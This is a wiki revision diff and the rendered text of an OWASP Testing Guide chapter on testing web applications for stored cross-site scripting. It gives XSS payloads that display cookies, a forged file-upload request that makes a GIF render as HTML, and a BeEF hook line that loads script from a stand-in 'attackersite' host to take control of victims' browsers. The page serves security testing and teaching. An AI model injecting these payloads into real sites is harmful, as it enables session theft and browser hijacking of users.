Difference between revisions of "Testing for Stored Cross site scripting (OWASP-DV-002)"

From OWASP
Jump to: navigation, search
(Black Box testing and example)
m (Remove broken link to "Aung Khant: "What XSS Can do - Benefits of XSS From Attacker's view" - No replacement found, Updated Amit Klien 's link, Updated URL to CGI Security, Update BEEF URL, Updated Burp URL, Updated XSS Assistant link)
(21 intermediate revisions by 5 users not shown)
Line 1: Line 1:
'''This is a draft of a section of the new Testing Guide v3'''
+
{{Template:OWASP Testing Guide v4}}
 
+
{{Template:OWASP Testing Guide v3}}
+
  
 
== Brief Summary ==
 
== Brief Summary ==
 
 
Stored Cross Site Scripting (XSS) is the most dangerous type of Cross Site Scripting. Web applications that allow users to store data are potentially exposed to this type of attack. This chapter illustrates examples of stored cross site scripting injection and related exploitation scenarios.
 
Stored Cross Site Scripting (XSS) is the most dangerous type of Cross Site Scripting. Web applications that allow users to store data are potentially exposed to this type of attack. This chapter illustrates examples of stored cross site scripting injection and related exploitation scenarios.
<br>
 
  
 
== Description of the Issue ==  
 
== Description of the Issue ==  
Stored XSS occurs when a web application gathers input from a user which might be malicious and then stores that input in a data store for later use. The input that is stored is not correctly filtered. As a consequence, the malicious data will appear to be part of the web site and run within the user’s browser under the privileges of the web application.<br>
+
Stored XSS occurs when a web application gathers input from a user which might be malicious, and then stores that input in a data store for later use. The input that is stored is not correctly filtered. As a consequence, the malicious data will appear to be part of the web site and run within the user’s browser under the privileges of the web application.
This vulnerability can be used to conduct a number of browser-based attacks including:<br><br>
+
 
 +
This vulnerability can be used to conduct a number of browser-based attacks including:
  
 
* Hijacking another user's browser
 
* Hijacking another user's browser
Line 19: Line 16:
 
* Other malicious activities
 
* Other malicious activities
  
<br>
+
Stored XSS does not need a malicious link to be exploited. A successful exploitation occurs when a user visits a page with a stored XSS. The following phases relate to a typical stored XSS attack scenario:
Stored XSS does not need a malicious link to be exploited. A successful exploitation occurs when a user visits a page with a stored XSS. The following phases relate to a typical stored XSS attack scenario:<br><br>
+
  
 
* Attacker stores malicious code into the vulnerable page
 
* Attacker stores malicious code into the vulnerable page
Line 27: Line 23:
 
* Malicious code is executed by the user's browser
 
* Malicious code is executed by the user's browser
  
<br>This type of attack can also be exploited with browser exploitation frameworks such as [http://www.bindshell.net/tools/beef BeEF], [http://xss-proxy.sourceforge.net/ XSS Proxy] and [http://www.gnucitizen.org/projects/backframe/ Backframe]. These frameworks allow for complex JavaScript exploit development.<br>
+
<br>This type of attack can also be exploited with browser exploitation frameworks such as [http://www.bindshell.net/tools/beef.html], [http://xss-proxy.sourceforge.net/ XSS Proxy] and [http://www.gnucitizen.org/projects/backframe/ Backframe]. These frameworks allow for complex JavaScript exploit development.
 +
 
 
Stored XSS is particularly dangerous in application areas where users with high privileges have access. When the administrator visits the vulnerable page, the attack is automatically executed by their browser. This might expose sensitive information such as session authorization tokens.
 
Stored XSS is particularly dangerous in application areas where users with high privileges have access. When the administrator visits the vulnerable page, the attack is automatically executed by their browser. This might expose sensitive information such as session authorization tokens.
  
 
== Black Box testing and example ==
 
== Black Box testing and example ==
'''Input Forms'''<br><br>
+
'''Input Forms'''
The first step is to identify all points where user input is stored into the back-end and then displayed by the application.  Typical examples of stored user input can be found in:<br>
+
 
* User/Profiles page: the application allows user to edit/change profile details such as first name, last name, nickname, avatar, picture, address, etc.
+
The first step is to identify all points where user input is stored into the back-end and then displayed by the application.  Typical examples of stored user input can be found in:
* Shopping cart: the application allows user to store items into the shopping cart which can then be reviewed later
+
 
 +
* User/Profiles page: the application allows the user to edit/change profile details such as first name, last name, nickname, avatar, picture, address, etc.
 +
* Shopping cart: the application allows the user to store items into the shopping cart which can then be reviewed later
 
* File Manager: application that allows upload of files
 
* File Manager: application that allows upload of files
* Application settings/preferences: application that allows user to set preferences
+
* Application settings/preferences: application that allows the user to set preferences
  
<br>'''Analyse HTML code'''<br>
+
'''Analyze HTML code'''
<br>Input stored by the application is normally used in HTML tags but it can also be found as part of JavaScript content. At this stage, it is fundamental to understand if input is stored and how it is positioned in the context of the page.<br><br>
+
 
<b>Example</b>: Email stored data in index2.php<br>
+
Input stored by the application is normally used in HTML tags, but it can also be found as part of JavaScript content. At this stage, it is fundamental to understand if input is stored and how it is positioned in the context of the page.
 +
 
 +
<b>Example</b>: Email stored data in index2.php
  
 
[[Image:Stored_input_example.jpg]]
 
[[Image:Stored_input_example.jpg]]
  
The HTML code of index2.php where the email value is located:<br>
+
The HTML code of index2.php where the email value is located:
  
 
<pre>
 
<pre>
Line 50: Line 51:
 
</pre>
 
</pre>
  
In this case, the pen-tester needs to find a way to inject code outside the <input> tag as below:<br>
+
In this case, the pen-tester needs to find a way to inject code outside the <input> tag as below:
 +
 
 
<pre>
 
<pre>
 
<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com"> MALICIOUS CODE <!-- />
 
<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com"> MALICIOUS CODE <!-- />
 
</pre>
 
</pre>
  
<br>
 
'''Testing for Stored XSS'''<br>
 
  
This involves testing the input validation/filtering controls of the application. Basic injection examples in this case:<br>
+
'''Testing for Stored XSS'''
 +
 
 +
This involves testing the input validation/filtering controls of the application. Basic injection examples in this case:
  
 
<pre>aaa@aa.com&quot;&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;</pre>
 
<pre>aaa@aa.com&quot;&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;</pre>
Line 64: Line 66:
  
  
Ensure the input is submitted through the application. This normally involves disabling JavaScript if client-side security controls are implemented or modifying the HTTP request with a web proxy such as [http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project WebScarab]. It is also important to test the same injection with both HTTP GET and POST requests. The above injection results in a popup window containing the cookie values.<br>
+
Ensure the input is submitted through the application. This normally involves disabling JavaScript if client-side security controls are implemented or modifying the HTTP request with a web proxy such as [[OWASP WebScarab Project|WebScarab]]. It is also important to test the same injection with both HTTP GET and POST requests. The above injection results in a popup window containing the cookie values.
  
 
'''Result Expected''':
 
'''Result Expected''':
Line 70: Line 72:
 
[[Image:Stored_xss_example.jpg]]
 
[[Image:Stored_xss_example.jpg]]
  
The HTML code following the injection:<br>
+
The HTML code following the injection:
 +
 
 
<pre><input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com"><script>alert(document.cookie)</script></pre>
 
<pre><input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com"><script>alert(document.cookie)</script></pre>
 
The input is stored and the XSS payload is executed by the browser when reloading the page.<br>
 
The input is stored and the XSS payload is executed by the browser when reloading the page.<br>
In case the input is escaped by the application, testers should test the application for XSS filters. For instance, if the string "SCRIPT" is replaced by a space or by a NULL character then this could be a potential sign of XSS filtering in action. Many techniques exist in order to evade input filters. It is strongly recommended that testers refer to [http://ha.ckers.org/xss.html RSnake] and [https://h4k.in/encoding/ Mario] XSS Cheat pages which provide an extensive list of XSS attacks and filtering bypasses. Refer to the whitepapers/tools section for more detailed information.<br><br>
+
If the input is escaped by the application, testers should test the application for XSS filters. For instance, if the string "SCRIPT" is replaced by a space or by a NULL character then this could be a potential sign of XSS filtering in action. Many techniques exist in order to evade input filters. It is strongly recommended that testers refer to [http://ha.ckers.org/xss.html RSnake] and [https://h4k.in/encoding/ Mario] XSS Cheat pages which provide an extensive list of XSS attacks and filtering bypasses. Refer to the whitepapers/tools section for more detailed information.
  
 
'''Leverage Stored XSS with BeEF'''
 
'''Leverage Stored XSS with BeEF'''
  
Stored XSS can be exploited by advanced JavaScript exploitation frameworks such as [http://www.bindshell.net/tools/beef BeEF], [http://xss-proxy.sourceforge.net/ XSS Proxy] and [http://www.gnucitizen.org/projects/backframe/ Backframe]. Let’s see what a typical BeEF exploitation scenario involves:<br><br>
+
Stored XSS can be exploited by advanced JavaScript exploitation frameworks such as [http://www.bindshell.net/tools/beef BeEF], [http://xss-proxy.sourceforge.net/ XSS Proxy] and [http://www.gnucitizen.org/projects/backframe/ Backframe]. Let’s see what a typical BeEF exploitation scenario involves:
* Injecting a JavaScript hook which communicates to the attackers browser exploitation framework (BeEF)
+
 
 +
* Injecting a JavaScript hook which communicates to the attacker's browser exploitation framework (BeEF)
 
* Waiting for the application user to view the vulnerable page where the stored input is displayed
 
* Waiting for the application user to view the vulnerable page where the stored input is displayed
 
* Control the application user’s browser via the BeEF console
 
* Control the application user’s browser via the BeEF console
<br>The JavaScript hook can be injected by exploiting the XSS vulnerability in the web application.
+
 
<br><br><b>Example</b>: BeEF Injection in index2.php:<br>
+
The JavaScript hook can be injected by exploiting the XSS vulnerability in the web application.
 +
 
 +
<b>Example</b>: BeEF Injection in index2.php:
  
 
<pre>aaa@aa.com”><script src=http://attackersite/beef/hook/beefmagic.js.php></script></pre>
 
<pre>aaa@aa.com”><script src=http://attackersite/beef/hook/beefmagic.js.php></script></pre>
  
When the user loads the page index2.php, the script beefmagic.js.php is executed by the browser. It is then possible to access cookies, user screenshot, user clipboard and launch complex XSS attacks.<br>
+
When the user loads the page index2.php, the script beefmagic.js.php is executed by the browser. It is then possible to access cookies, user screenshot, user clipboard, and launch complex XSS attacks.
  
 
'''Result Expected'''
 
'''Result Expected'''
Line 92: Line 98:
 
[[Image:BeEF_in_action.jpg]]
 
[[Image:BeEF_in_action.jpg]]
  
This attack is particularly effective in vulnerable pages that are viewed by many users with different privileges.<br><br>
+
This attack is particularly effective in vulnerable pages that are viewed by many users with different privileges.
  
 
'''File Upload'''
 
'''File Upload'''
  
In case the web application allows file upload, it is important to check if it is possible to upload HTML content. For instance, if HTML or TXT files are allowed, XSS payload can be injected in the file uploaded. The pen-tester should also verify if the file upload allows setting arbitrary MIME types.<br><br>
+
If the web application allows file upload, it is important to check if it is possible to upload HTML content. For instance, if HTML or TXT files are allowed, XSS payload can be injected in the file uploaded. The pen-tester should also verify if the file upload allows setting arbitrary MIME types.
Consider the following HTTP POST request for file upload:<br>
+
 
 +
Consider the following HTTP POST request for file upload:
 +
 
 
<pre>
 
<pre>
 
POST /fileupload.aspx HTTP/1.1
 
POST /fileupload.aspx HTTP/1.1
Line 108: Line 116:
 
</pre>
 
</pre>
  
This design flaw can be exploited in browser MIME mishandling attacks. For instance, innocuous-looking files like JPG and GIF can contain a XSS payload that is executed when they are loaded by the browser. This is possible when to the MIME type for an image such as image/gif can instead be set to text/html. In this case the file will be treated by the client browser as HTML.<br><br>
+
This design flaw can be exploited in browser MIME mishandling attacks. For instance, innocuous-looking files like JPG and GIF can contain an XSS payload that is executed when they are loaded by the browser. This is possible when the MIME type for an image such as image/gif can instead be set to text/html. In this case the file will be treated by the client browser as HTML.
  
 
HTTP POST Request forged:
 
HTTP POST Request forged:
Line 118: Line 126:
 
</pre>
 
</pre>
  
Also consider that Internet Explorer does not handle MIME types in the same way as Mozilla Firefox or other browsers do. For instance, Internet Explorer handles TXT file with HTML content as HTML content. For further information about MIME handling, refer to the whitepapers section at the bottom of this chapter.
+
Also consider that Internet Explorer does not handle MIME types in the same way as Mozilla Firefox or other browsers do. For instance, Internet Explorer handles TXT files with HTML content as HTML content. For further information about MIME handling, refer to the whitepapers section at the bottom of this chapter.
  
 
== Gray Box testing and example ==
 
== Gray Box testing and example ==
Gray Box testing is similar to Black box testing. In gray box testing, the pen-tester has partial knowledge of the application. In this case, information regarding user input, input validation controls, and data storage might be known by the pen-tester.<br><br>
+
Gray Box testing is similar to Black box testing. In gray box testing, the pen-tester has partial knowledge of the application. In this case, information regarding user input, input validation controls, and data storage might be known by the pen-tester.
Depending on the information available, it is normally recommended that testers check how user input is processed by the application and then stored into the back-end system. The following steps are recommended:<br><br>
+
 +
Depending on the information available, it is normally recommended that testers check how user input is processed by the application and then stored into the back-end system. The following steps are recommended:
  
 
* Use front-end application and enter input with special/invalid characters
 
* Use front-end application and enter input with special/invalid characters
Line 129: Line 138:
 
* Access back-end system and check if input is stored and how it is stored
 
* Access back-end system and check if input is stored and how it is stored
 
* Analyze source code and understand how stored input is rendered by the application
 
* Analyze source code and understand how stored input is rendered by the application
<br>
+
 
If source code is available (White Box), all variables used in input forms should be analyzed.<br><br>
+
If source code is available (White Box), all variables used in input forms should be analyzed.
 +
 
 
In particular, programming languages such as PHP, ASP, and JSP make use of predefined variables/functions to store input from HTTP GET and POST requests.
 
In particular, programming languages such as PHP, ASP, and JSP make use of predefined variables/functions to store input from HTTP GET and POST requests.
  
Line 155: Line 165:
 
== References ==
 
== References ==
 
'''Books'''<br>
 
'''Books'''<br>
* Joel Scambray, Mike Shema, Caleb Sima - "Hacking Exposed Web Applicatons", Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0
+
* Joel Scambray, Mike Shema, Caleb Sima - "Hacking Exposed Web Applications", Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0
 
* Dafydd Stuttard, Marcus Pinto - "The Web Application's Handbook - Discovering and Exploiting Security Flaws", 2008, Wiley, ISBN 978-0-470-17077-9
 
* Dafydd Stuttard, Marcus Pinto - "The Web Application's Handbook - Discovering and Exploiting Security Flaws", 2008, Wiley, ISBN 978-0-470-17077-9
 
* Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager, Seth Fogie - "Cross Site Scripting Attacks: XSS Exploits and Defense", 2007, Syngress, ISBN-10: 1-59749-154-3
 
* Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager, Seth Fogie - "Cross Site Scripting Attacks: XSS Exploits and Defense", 2007, Syngress, ISBN-10: 1-59749-154-3
Line 164: Line 174:
 
* CERT: "CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests" - http://www.cert.org/advisories/CA-2000-02.html
 
* CERT: "CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests" - http://www.cert.org/advisories/CA-2000-02.html
  
* Aung Khant: "What XSS Can do - Benefits of XSS From Attacker's view" - http://yehg.org/lab/pr0js/papers/What%20XSS%20Can%20Do.pdf
+
* Amit Klein: "Cross-site Scripting Explained" - http://courses.csail.mit.edu/6.857/2009/handouts/css-explained.pdf
 
+
* Amit Klein: "Cross-site Scripting Explained" - http://www.sanctuminc.com/pdf/WhitePaper_CSS_Explained.pdf
+
  
 
* Gunter Ollmann: "HTML Code Injection and Cross-site Scripting" - http://www.technicalinfo.net/papers/CSS.html
 
* Gunter Ollmann: "HTML Code Injection and Cross-site Scripting" - http://www.technicalinfo.net/papers/CSS.html
  
* CGISecurity.com: "The Cross Site Scripting FAQ" - http://www.cgisecurity.com/articles/xss-faq.shtml
+
* CGISecurity.com: "The Cross Site Scripting FAQ" - http://www.cgisecurity.com/xss-faq.html
  
 
* Blake Frantz: "Flirting with MIME Types: A Browser's Perspective" - http://www.leviathansecurity.com/pdf/Flirting%20with%20MIME%20Types.pdf
 
* Blake Frantz: "Flirting with MIME Types: A Browser's Perspective" - http://www.leviathansecurity.com/pdf/Flirting%20with%20MIME%20Types.pdf
  
 
'''Tools'''<br>
 
'''Tools'''<br>
* '''OWASP CAL9000''' - http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project
+
* '''[[OWASP CAL9000 Project|OWASP CAL9000]]'''  
 
CAL9000 includes a sortable implementation of RSnake's XSS Attacks, Character Encoder/Decoder, HTTP Request Generator and Response Evaluator, Testing Checklist, Automated Attack Editor and much more.  
 
CAL9000 includes a sortable implementation of RSnake's XSS Attacks, Character Encoder/Decoder, HTTP Request Generator and Response Evaluator, Testing Checklist, Automated Attack Editor and much more.  
  
Line 193: Line 201:
 
Backframe is a full-featured attack console for exploiting WEB browsers, WEB users, and WEB applications.
 
Backframe is a full-featured attack console for exploiting WEB browsers, WEB users, and WEB applications.
  
* '''WebScarab''' - http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project
+
* '''[[OWASP WebScarab Project|WebScarab]]'''
 
WebScarab is a framework for analyzing applications that communicate using the HTTP and HTTPS protocols.
 
WebScarab is a framework for analyzing applications that communicate using the HTTP and HTTPS protocols.
  
* '''Burp''' - http://portswigger.net/proxy/
+
* '''Burp''' - http://portswigger.net/burp/
 
Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications.  
 
Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications.  
  
* '''XSS Assistant''' - http://www.whiteacid.org/greasemonkey/#xss_assistant
+
* '''XSS Assistant''' - http://www.greasespot.net/
 
Greasemonkey script that allow users to easily test any web application for cross-site-scripting flaws.
 
Greasemonkey script that allow users to easily test any web application for cross-site-scripting flaws.
 +
 +
* '''OWASP Zed Attack Proxy (ZAP)''' - [[OWASP_Zed_Attack_Proxy_Project]]
 +
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

Revision as of 11:26, 6 November 2012

This article is part of the new OWASP Testing Guide v4. 
At the moment the project is in the REVIEW phase.

Back to the OWASP Testing Guide v4 ToC: https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents Back to the OWASP Testing Guide Project: http://www.owasp.org/index.php/OWASP_Testing_Project

Contents


Brief Summary

Stored Cross Site Scripting (XSS) is the most dangerous type of Cross Site Scripting. Web applications that allow users to store data are potentially exposed to this type of attack. This chapter illustrates examples of stored cross site scripting injection and related exploitation scenarios.

Description of the Issue

Stored XSS occurs when a web application gathers input from a user which might be malicious, and then stores that input in a data store for later use. The input that is stored is not correctly filtered. As a consequence, the malicious data will appear to be part of the web site and run within the user’s browser under the privileges of the web application.

This vulnerability can be used to conduct a number of browser-based attacks including:

  • Hijacking another user's browser
  • Capturing sensitive information viewed by application users
  • Pseudo defacement of the application
  • Port scanning of internal hosts ("internal" in relation to the users of the web application)
  • Directed delivery of browser-based exploits
  • Other malicious activities

Stored XSS does not need a malicious link to be exploited. A successful exploitation occurs when a user visits a page with a stored XSS. The following phases relate to a typical stored XSS attack scenario:

  • Attacker stores malicious code into the vulnerable page
  • User authenticates in the application
  • User visits vulnerable page
  • Malicious code is executed by the user's browser


This type of attack can also be exploited with browser exploitation frameworks such as [1], XSS Proxy and Backframe. These frameworks allow for complex JavaScript exploit development.

Stored XSS is particularly dangerous in application areas where users with high privileges have access. When the administrator visits the vulnerable page, the attack is automatically executed by their browser. This might expose sensitive information such as session authorization tokens.

Black Box testing and example

Input Forms

The first step is to identify all points where user input is stored into the back-end and then displayed by the application. Typical examples of stored user input can be found in:

  • User/Profiles page: the application allows the user to edit/change profile details such as first name, last name, nickname, avatar, picture, address, etc.
  • Shopping cart: the application allows the user to store items into the shopping cart which can then be reviewed later
  • File Manager: application that allows upload of files
  • Application settings/preferences: application that allows the user to set preferences

Analyze HTML code

Input stored by the application is normally used in HTML tags, but it can also be found as part of JavaScript content. At this stage, it is fundamental to understand if input is stored and how it is positioned in the context of the page.

Example: Email stored data in index2.php

Stored input example.jpg

The HTML code of index2.php where the email value is located:

<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com" />

In this case, the pen-tester needs to find a way to inject code outside the <input> tag as below:

<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com"> MALICIOUS CODE <!-- />


Testing for Stored XSS

This involves testing the input validation/filtering controls of the application. Basic injection examples in this case:

aaa@aa.com"><script>alert(document.cookie)</script>
aaa@aa.com%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E


Ensure the input is submitted through the application. This normally involves disabling JavaScript if client-side security controls are implemented or modifying the HTTP request with a web proxy such as WebScarab. It is also important to test the same injection with both HTTP GET and POST requests. The above injection results in a popup window containing the cookie values.

Result Expected:

Stored xss example.jpg

The HTML code following the injection:

<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com"><script>alert(document.cookie)</script>

The input is stored and the XSS payload is executed by the browser when reloading the page.
If the input is escaped by the application, testers should test the application for XSS filters. For instance, if the string "SCRIPT" is replaced by a space or by a NULL character then this could be a potential sign of XSS filtering in action. Many techniques exist in order to evade input filters. It is strongly recommended that testers refer to RSnake and Mario XSS Cheat pages which provide an extensive list of XSS attacks and filtering bypasses. Refer to the whitepapers/tools section for more detailed information.

Leverage Stored XSS with BeEF

Stored XSS can be exploited by advanced JavaScript exploitation frameworks such as BeEF, XSS Proxy and Backframe. Let’s see what a typical BeEF exploitation scenario involves:

  • Injecting a JavaScript hook which communicates to the attacker's browser exploitation framework (BeEF)
  • Waiting for the application user to view the vulnerable page where the stored input is displayed
  • Control the application user’s browser via the BeEF console

The JavaScript hook can be injected by exploiting the XSS vulnerability in the web application.

Example: BeEF Injection in index2.php:

aaa@aa.com”><script src=http://attackersite/beef/hook/beefmagic.js.php></script>

When the user loads the page index2.php, the script beefmagic.js.php is executed by the browser. It is then possible to access cookies, user screenshot, user clipboard, and launch complex XSS attacks.

Result Expected

BeEF in action.jpg

This attack is particularly effective in vulnerable pages that are viewed by many users with different privileges.

File Upload

If the web application allows file upload, it is important to check if it is possible to upload HTML content. For instance, if HTML or TXT files are allowed, XSS payload can be injected in the file uploaded. The pen-tester should also verify if the file upload allows setting arbitrary MIME types.

Consider the following HTTP POST request for file upload:

POST /fileupload.aspx HTTP/1.1
[…]

Content-Disposition: form-data; name="uploadfile1"; filename="C:\Documents and Settings\test\Desktop\test.txt"
Content-Type: text/plain

test

This design flaw can be exploited in browser MIME mishandling attacks. For instance, innocuous-looking files like JPG and GIF can contain an XSS payload that is executed when they are loaded by the browser. This is possible when the MIME type for an image such as image/gif can instead be set to text/html. In this case the file will be treated by the client browser as HTML.

HTTP POST Request forged:

Content-Disposition: form-data; name="uploadfile1"; filename="C:\Documents and Settings\test\Desktop\test.gif"
Content-Type: text/html

<script>alert(document.cookie)</script>

Also consider that Internet Explorer does not handle MIME types in the same way as Mozilla Firefox or other browsers do. For instance, Internet Explorer handles TXT files with HTML content as HTML content. For further information about MIME handling, refer to the whitepapers section at the bottom of this chapter.

Gray Box testing and example

Gray Box testing is similar to Black box testing. In gray box testing, the pen-tester has partial knowledge of the application. In this case, information regarding user input, input validation controls, and data storage might be known by the pen-tester.

Depending on the information available, it is normally recommended that testers check how user input is processed by the application and then stored into the back-end system. The following steps are recommended:

  • Use front-end application and enter input with special/invalid characters
  • Analyze application response(s)
  • Identify presence of input validation controls
  • Access back-end system and check if input is stored and how it is stored
  • Analyze source code and understand how stored input is rendered by the application

If source code is available (White Box), all variables used in input forms should be analyzed.

In particular, programming languages such as PHP, ASP, and JSP make use of predefined variables/functions to store input from HTTP GET and POST requests.

The following table summarizes some special variables and functions to look at when analyzing source code:

PHP ASP JSP
  • $_GET - HTTP GET variables
  • $_POST - HTTP POST variables
  • $_FILES - HTTP File Upload variables
  • Request.QueryString - HTTP GET
  • Request.Form - HTTP POST
  • Server.CreateObject - used to upload files
  • doGet, doPost servlets - HTTP GET and POST
  • request.getParameter - HTTP GET/POST variables

References

Books

  • Joel Scambray, Mike Shema, Caleb Sima - "Hacking Exposed Web Applications", Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0
  • Dafydd Stuttard, Marcus Pinto - "The Web Application's Handbook - Discovering and Exploiting Security Flaws", 2008, Wiley, ISBN 978-0-470-17077-9
  • Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager, Seth Fogie - "Cross Site Scripting Attacks: XSS Exploits and Defense", 2007, Syngress, ISBN-10: 1-59749-154-3

Whitepapers

Tools

CAL9000 includes a sortable implementation of RSnake's XSS Attacks, Character Encoder/Decoder, HTTP Request Generator and Response Evaluator, Testing Checklist, Automated Attack Editor and much more.

PCE helps you encode arbitrary texts to and from 65 kinds of character sets that you can use in your customized payloads.

Hackvertor is an online tool which allows many types of encoding and obfuscation of JavaScript (or any string input).

BeEF is the browser exploitation framework. A professional tool to demonstrate the real-time impact of browser vulnerabilities.

XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.

Backframe is a full-featured attack console for exploiting WEB browsers, WEB users, and WEB applications.

WebScarab is a framework for analyzing applications that communicate using the HTTP and HTTPS protocols.

Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications.

Greasemonkey script that allow users to easily test any web application for cross-site-scripting flaws.

ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.